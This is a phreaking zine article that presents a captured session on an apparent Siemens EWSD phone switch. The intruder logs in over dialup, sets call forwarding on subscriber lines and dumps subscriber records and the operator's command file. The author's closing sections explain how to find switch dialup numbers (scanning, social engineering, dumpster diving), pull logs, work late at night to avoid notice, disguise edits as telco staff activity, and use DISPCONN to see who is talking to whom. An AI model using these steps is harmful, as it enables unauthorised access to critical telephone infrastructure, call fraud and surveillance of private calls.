CONNECT 19200/ARQ/V34/LAPM/V42BIS
PLEASE ENTER USERID FOR XXXXX
<idci0
PLEASE ENTER CURRENT PASSWORD
(AND OPTIONALLY A NEW ONE SEPARATED BY BLANK).
<@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
################################################# please?78
XXXXX/CLLI/USQCBR4V0012/1
03 03-02-16 07:18:35
M 9260 TAC6/IDCI0 2969/00000
NOTICE - PROPRIETARY SYSTEM
THIS SYSTEM IS INTENDED TO BE USED SOLELY BY AUTHORIZED
USERS IN THE COURSE OF LEGITIMATE CORPORATE BUSINESS.
USERS ARE MONITORED TO THE EXTENT NECESSARY TO PROPERLY
ADMINISTER THE SYSTEM, TO IDENTIFY UNAUTHORIZED USERS OR
USERS OPERATING BEYOND THEIR PROPER AUTHORITY, AND TO
INVESTIGATE IMPROPER ACCESS OR USE. BY ACCESSING THIS
SYSTEM, YOU ARE CONSENTING TO THIS MONITORING.
9261
M <editsub:npa=505,dn=xxx9900,div=actcfv-101007114095841000;
XXXXX/CLLI/USQCBR4V0012/ 03-02-16 07:19:03
M 9261 TAC6/IDCI0 2812/00007
EDITSUB:NPA=505,DN=xxx9900,DIV=ACTCFV-101007114095841000; EXEC'D
END JOB 9261
9264
M <dispsub:npa=505,dn=9900;
XXXXX/CLLI/USQCBR4V0012/103 03-02-16 07:19:26
M 9264 TAC6/IDCI0 2816/03800
DISPSUB:NPA=505,DN=xxx9900;
NPA = 505 DN = 2579900 EQN = 3350- 0-03-03 MASKNO:03800
CAT = MS MASKNO:03774
LTT = COSLAC5 MASKNO:03789
LNATT = DTMF MASKNO:03787
CT = VI MASKNO:04396
LCC = 1MR RAX = 1 MASKNO:03785
ORIG1 = 9 MASKNO:03798
PIC = 0771 MASKNO:04398
PIC0 = 0224
INTRAPC = 0224
INTRAPC0 = 0224
COSDAT = CSLST -45 MASKNO:03778
INTERRUPTION TEXT JOB 9264
CONTINUATION TEXT 0001
U
XXXXX/RUDSNUSQCBR4V0012/103 03-02-16 07:19:26
M 9264 TAC6/IDCI0 2816/03800
MASKNO:03780
DIV = ACTCFV -101007114095841000
& CFV
& UPCFVDN
& NOCFIND
& RRNG
& CCNOAREQ
CHRG = MRSA1 MASKNO:03775
COS = BHICOM MASKNO:03777
CFVLIM = 1 MASKNO:03798
END JOB 9264 EXEC'D
9266
M <statlog;
XXXXX/CLLI/USQCBR4V0012/1
03 03-02-16 07:19:50
M 9266 TAC6/IDCI0 2970/00342
STATLOG; EXEC'D
LOG FUNCTION MESSAGE:
LOG STATE : ON
LOG FILE(S) : LG.FIX00120126.A1
END JOB 9266
disptextfile
9267
M <
XXXXX/CLLI/USQCBR4V0012/1 03 03-02-16 07:19:59
M 9267 TAC6/IDCI0 2969/10991
? NOT EXEC'D
MASKNO:10991
COMMAND CODE MISSING
END JOB 9267
9268
M <disptextfile
XXXXX/
CLLI/USQCB12/103 03-02-16 07:20:05
M 9268 TAC6/IDCI0 2969/10991
DISPTEXTFILE? NOT EXEC'D
MASKNO:10991
UNKNOWN COMMAND
END JOB 9268
9269
M <dispte
filetext
XXXXX/
CLLI/USQCB0012/103 03-02-16 07:20:26
M 9269 TAC6/IDCI0 2969/10991
DISPFILETEXT? NOT EXEC'D
MASKNO:10991
NO MULTIPLE START ALLOWED, RETRY LATER
END JOB 9269
9271
M <dispfiletext
XXXXX/CLLICDBR4V0012/103 03-02-16 07:20:47
M 9271 TAC6/IDCI0 2969/10991
DISPFILETEXT? NOT EXEC'D
MASKNO:10991
NO MULTIPLE START ALLOWED, RETRY LATER
END JOB 9271
9273
M <DISPFILETEXT
XXXXX/CLLI/USQCBV0012/103 03-02-16 07:21:10
M 9273 TAC6/IDCI0 2969/10991
DISPFILETEXT? NOT EXEC'D
MASKNO:10991
NO MULTIPLE START ALLOWED, RETRY LATER
END JOB 9273
9275
M <dispuserid
M USERID=
M USERID=idci0
M READY TO EXECUTE <;
XXXXX/CLLI/USQCBR
4V0012/103 03-02-16 07:21:23
M 9275 TAC6/IDCI0 2970/06300
DISPUSERID:USERID=IDCI0; EXEC'D
TABLE OF USER-IDENTIFICATIONS:
USERID STATE APPLID SCOPE AUT AUTHORIZATION CLASS
---------+-------+-------+-------+-------+------------------------------
IDCI0 UNLOCK REMOTE 1 1
END JOB 9275
9276
M <dispuserid
M USERID=idci1
M READY TO EXECUTE <;
9276 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPUSERID : 1 ERROR(S)
MASKNO:10990
OBJECT(S) NOT EXISTING
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
USERID =<IDCI1>
END OF ERROR MESSAGE JOB 9276 MASKNO:10041
USERID=
XXXXX/CLLI/USQCBR4V0012/ 03-02-16 07:21:44
M 9276 TAC6/IDCI0 2969/10991
DISPUSERID:USERID= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 9276
9278
M <dispfeil
iletext
XXXXX/CLLI/USQCBR
4V0012/103 03-02-16 07:21:51
M 9278 TAC6/IDCI0 2969/10991
DISPFILETEXT? NOT EXEC'D
MASKNO:10991
NO MULTIPLE START ALLOWED, RETRY LATER
END JOB 9278
9279
M <sendloopback
M TPNO=
M TPDN=;
XXXXX/CLLICDBR4V0012/103 03-02-16 07:23:00
M 9279 TAC6/IDCI0 2969/10990
SENDLOOPBACK; NOT EXEC'D
MASKNO:10990
MISSING PARAMETER
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
TPNO
TPDN
END JOB 9279
9282
M <
XXXXX/CLLI
/USQCB12/103 03-02-16 07:23:15
M 9282 TAC6/IDCI0 2969/10991
? NOT EXEC'D
MASKNO:10991
COMMAND CODE MISSING
END JOB 9282
9284
M <dispfiletext
XXXXX/CLLI/USQCBR
4V0012/103 03-02-16 07:23:24
M 9284 TAC6/IDCI0 2969/10991
DISPFILETEXT? NOT EXEC'D
MASKNO:10991
NO MULTIPLE START ALLOWED, RETRY LATER
END JOB 9284
9285
M <ed
ndsession
M READY TO EXECUTE <;
XXXXX/CLLI/USQCBV0012/103 03-02-16 07:23:32
M 9285 TAC6/IDCI0 2977/00007
ENDSESSION; EXEC'D
END JOB 9285
PLEASE ENTER USERID FOR XXXXX
<L5!~atdt8 9, xxx99xx
CONNECT 24000/ARQ/V34/LAPM/V42BIS
;
R
6 07:13:56 IDCI1
M NOTES: - UNPRINTABLE CHARACTERS ARE SUBSTITUTED BY '.'
9232 IDCI1 2970/06247
NOTES: - UNPRINTABLE CHARACTERS ARE SUBSTITUTED BY '.'
- CONTINUATION LINES OF A RECORD START WITH '>>'
----+----1----+----2----+----3----+----4----+----5----+----6----+----7--
<CMDFILE;
/*+++ 03:02:10 / 13:50:55 / 00120101 +++*/
(just a sample, k? :)
(Shows them...)
<EDITSUB:NPA=505,DN=xxx7117,DIV=ACTCFV-4205098;
<EDITSUB:NPA=505,DN=xxx2342,CDIV=ACTCFV;
<EDITSUB:NPA=505,DN=xxx7117,CDIV=ACTCFV;
<EDITSUB:NPA=505,DN=xxx7117,DIV=ACTCFV-4205098;
<CRSUB:NPA=505,DN=xxx3763,EQN=3330-0-03-30,LCC=1FR,RAX=1;
<EDITSUB:NPA=505,DN=xxx3763,PIC=0288,PIC0=0288,INTLPC=0288,INTLPC0=0288;
<EDITSUB:NPA=505,DN=xxx3763,INTRAPC=0288,INTRAPC0=0288;
<ENTRALTEXT:TEXTNO=1,TEXT1="COMMERCIAL POWER FAILURE";
<ENTRALTEXT:TEXTNO=61,TEXT1="COMMERCIAL POWER FAILURE";
<ENTRALTEXT:TEXTNO=62,TEXT1="FIRE ALARM",TEXT2="CALL 505xxxxxxx";
<ENTRALTEXT:TEXTNO=62,TEXT1="DOOR ALARKM",TEXT2="CALL 505xxxxxxx CO OR 5
>>05xxxxxxx COPS";
<EDITSUB:NPA=505,DN=3542209,ABB=SPD8-2-101081115057511844;
<EDITSUB:NPA=505,DN=3542209,ABB=SPD8-3-101081115058655937;
<EDITSUB:NPA=505,DN=3542209,ABB=SPD8-4-3542215;
<EDITSUB:NPA=505,DN=3542209,ABB=SPD8-5-101081112074571031;
<EDITSUB:NPA=505,DN=3542209,ABB=SPD8-6-101081115058429886;
<EDITMLHG:NPA=505,DN=2575366,DIV=ACTCFV-918003074186;
<ENTRALTEXT:TEXTNO=8,TEXT1="SURGE ARRESTOR ALARM";
<ENTRALTEXT:TEXTNO=9,TEXT1="FIRE ALARM SYSTEM TROUBLE";
<ENTRALTEXT:TEXTNO=10,TEXT1="COMMERCIAL POWER FAILURE";
<ENTRALTEXT:TEXTNO=12,TEXT1="NO 2 HEATING A/C FAILURE";
<ENTRALTEXT:TEXTNO=13,TEXT1="RECTIFIER FAILURE";
<ENTRALTEXT:TEXTNO=14,TEXT1="HIGH TEMPERATURE ALARM";
<ENTRALTEXT:TEXTNO=15,TEXT1="HIGH BATTERY TEMPERATURE";
<ENTRALTEXT:TEXTNO=16,TEXT1="INTRUSION ALARM",TEXT2="CALL CO 505xxxxxxx
>>TO SEE WHO IT IS";
<ENTRALTEXT:TEXTNO=11,TEXT1="HEATING/AC FAILURE";
<ENTRALTEXT:TEXTNO=7,TEXT1="FIRE OR SMOKE ALARM",TEXT2="CALL 505xxxxxxx
>>TO REPORT FIRE";
<CREAL:SITE=EXCH,EAL=7,TEXTNO=7;
<CREAL:SITE=EXCH,EAL=8,TEXTNO=8;
<CREAL:SITE=EXCH,EAL=9,TEXTNO=9;
<CREAL:SITE=EXCH,EAL=10,TEXTNO=10;
<CREAL:SITE=EXCH,EAL=11,TEXTNO=11;
<CREAL:SITE=EXCH,EAL=12,TEXTNO=12;
<CREAL:SITE=EXCH,EAL=13,TEXTNO=13;
<CREAL:SITE=EXCH,EAL=14,TEXTNO=14;
<CREAL:SITE=EXCH,EAL=15,TEXTNO=15;
<CREAL:SITE=EXCH,EAL=16,TEXTNO=15;
<CANEAL:SITE=EXCH,EAL=9;
<CANEAL:SITE=EXCH,EAL=10;
<CANEAL:SITE=EXCH,EAL=11;
<CANEAL:SITE=EXCH,EAL=12;
<CANEAL:SITE=EXCH,EAL=13;
<CANEAL:SITE=EXCH,EAL=14;
<CANEAL:SITE=EXCH,EAL=15;
<CANEAL:SITE=EXCH,EAL=16;
<CANALTEXT:TEXTNO=7;
<CANALTEXT:TEXTNO=8;
<CANALTEXT:TEXTNO=9;
<CANALTEXT:TEXTNO=10;
<CANALTEXT:TEXTNO=11;
<CANALTEXT:TEXTNO=12;
<CANALTEXT:TEXTNO=13;
<CANALTEXT:TEXTNO=14;
<CANALTEXT:TEXTNO=15;
<CREAL:SITE=DLU,DLU=1000,EAL=1,TEXTNO=1,ALPRIO=CRITICAL;
<CREAL:SITE=DLU,DLU=1000,EAL=2,TEXTNO=2,ALPRIO=MAJOR;
<CREAL:SITE=DLU,DLU=1000,EAL=3,TEXTNO=3,ALPRIO=MAJOR;
<CREAL:SITE=DLU,DLU=1000,EAL=4,TEXTNO=4,ALPRIO=MAJOR;
<CREAL:SITE=DLU,DLU=1000,EAL=5,TEXTNO=5,ALPRIO=MAJOR;
<CREAL:SITE=DLU,DLU=1000,EAL=6,TEXTNO=6,ALPRIO=CRITICAL;
<CREAL:SITE=DLU,DLU=1000,EAL=7,TEXTNO=7,ALPRIO=CRITICAL;
<CREAL:SITE=DLU,DLU=1000,EAL=8,TEXTNO=8,ALPRIO=MAJOR;
<CREAL:SITE=DLU,DLU=1000,EAL=9,TEXTNO=9,ALPRIO=CRITICAL;
<CREAL:SITE=DLU,DLU=1000,EAL=10,TEXTNO=10,ALPRIO=MAJOR;
<ENTRALTEXT:TEXTNO=1,TEXT1="COMMERCIAL POWER FAILURE";
<ENTRALTEXT:TEXTNO=2,TEXT1="SURGE ARRESTOR ALARM";
<ENTRALTEXT:TEXTNO=3,TEXT1="HIGH TEMPERATURE ALARM";
<ENTRALTEXT:TEXTNO=4,TEXT1="BUILDING HEATING OR COOLING PROBLEM";
<ENTRALTEXT:TEXTNO=5,TEXT1="BUILDING HEATING OR COOLING PROBLEM";
<ENTRALTEXT:TEXTNO=6,TEXT1="FIRE OR SMOKE ALARM",TEXT2="CALL 505xxxxxxx
>>IMMEDIATELY";
<ENTRALTEXT:TEXTNO=8,TEXT1="DOOR ALARM",TEXT2="CALL 505xxxxxxx CO OR 50
>>5xxxxxxx COPS";
<ENTRALTEXT:TEXTNO=9,TEXT1="RECTIFIER FAILURE";
<ENTRALTEXT:TEXTNO=10,TEXT1="HIGH BATTERY TEMPERATURE";
(Shows us...)
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-18004444444;
<EDITSUB:NPA=505,DN=xxx9900,DIV=ACTCFV-101007114095841000;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-101007110;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-10107110;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-101002880;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-101028808004444444;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-10102888004444444;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-811;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-1010071100;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-10102880;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-1010041;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-1010071;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-10100714095841001;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-101007114095841001;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=CFV;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV;
<EDITSUB:NPA=505,DN=xxxxxxx,DIV=ACTCFV-2579900;
(but basically, we find good LOCAL #'s.)
LNO = 4 EQN = 3370- 0-07-45 MASKNO:03786
INTERRUPTION TEXT JOB 9344
XXXXX 03-02-16 07:43:00 IDCI1
M CONTINUATION TEXT 0004
9344 IDCI1 2816/03786
HGLDN = 505xxx3654 MASKNO:03788
CAT = MS MASKNO:03774
LTT = COSLAC5 MASKNO:03789
LNATT = DTMF MASKNO:03787
CT = VI MASKNO:04396
LCC = 1MRHG RAX = 1 MASKNO:03785
ORIG1 = 9 MASKNO:03798
PIC = 0222 MASKNO:04398
PIC0 = 0222
INTRAPC = 0222
INTRAPC0 = 0222
INTLPC = 0222
INTLPC0 = 0222
COSDAT = BILLNO -505xxx5366 MASKNO:03778
CHRG = MRSA1 MASKNO:03775
COS = TWC &DCAHUNT MASKNO:03777
ADDINF = CXMEM MASKNO:03772
END JOB 9344 EXEC'D
===================== T E C H N I Q U E S ==========================
Not all can be so lucky as to find their switch's dialup number in the NXX-99xx domain.
If you don't happen to find one of these by scanning (which is what I did by hand), then
you might find it by other means:
1. Social Engineering it out of telco employees
2. Dumpster Diving at your local CO (http://www.dslreports.com/coinfo)
If you happen to scan some modem carriers, then connect to them! You might find out
that your friendly EWSD servicemen never log out. If they would be so smart as to log
out, then you can still find logins/passwords somewhere, can't you? If not, then don't
worry about this stuff, but don't get rid of this file just yet. Get rid of this file once you
are in the system, and completely understand what you are doing. First.
===================== W H A T T O G E T ==========================
Second.
The logs, of course. These will not only get you great #'s, but if I had received them
before I messed with this system, I might not have raised that alarm like I did (the
alarm is not raised in this capture.) NOTE: there are more logs than one, and you can
see them with a command that is not used here.
I reccommend that you do not change any info, especially if they do not ENDSESSION;
Alert your local CO (you'll have their # soon with this system, as you can look up info
with more grace as is shown in this capture) what the exact problem is, and how you
are able to gain access to their switch. What would kind of be hilarious is if you
somehow knew someone had trouble on their line, and you found and corrected the
problem before the serviceman comes to fix it. Even alert the subscriber that the
problem is corrected, and when the lineman comes out, the sub says,
"Butch came out and fixed the problem."
Lineman: But -I'm- the only 'Butch' who works in this area! :)
Basically, DISP much and CR and EDIT not so much, as the edit functions are the ones
that are logged. You can raise alarms, especially if you re-use valid EQNs. If you fuck
up, please have the sense to fix it right away so it appears a telco employee is on the
system. This particular EWSD is operated on at all hours of the night (look at the END
JOB #'s), so late night is a prime target hour. If you do happen to change something
you should not have, make sure you at least DISPSDNDAT first! This way, you will
have a record of what used to exist and can fix it. If you're on at an hour that no one
really messes with their phones, your error might go unnoticed, and who's going to
check something out in the log that didn't really cause a problem the next day??
Have fun with DISPCONN as this feature is probably the greatest. You can see who is
on the line with whom. That's all I got to say about that.
===================== R E F E R E N C E S ==========================
Zeroth.
Power Scanning I & II by El Oscuro/250
CO Finder: http://www.dslreports.com/coinfo/
Siemens Technical Terms Glossary: http://education.icn.siemens.com/doc/jobaids/glossary/index.htm
===================== G R E E T S ==========================
Thanks.
Siemens -- Elecktronisches Wahlsystem Digital's are fun, and not much info on them!
Phrack -- Keep it up.
2600 -- Basic info, but worth the read.
ic0n -- I enjoy your scans, and some of the PBX #'s are very helpful!
Lucky225 -- Great articles.
===================== W A T C H F O R========================
Next.
siemensgloss.txt
pbxout.txt
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Well That about wrap's it up for this issue of Phr33k4z0iD'5 next issue to include telecome news
and more files. (yeah i know some of the files are old. But i really did'nt have that many files in my inbox.
Hopefully we will get more people submiting files. Next Issue due out sometime Late May 2003. All files
need to be mailed to ic0n at oldskoolphreak dot com or ic0n at phreaker dot net
Until Next Time ....... Keep it Phreaky!!!!
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Peace
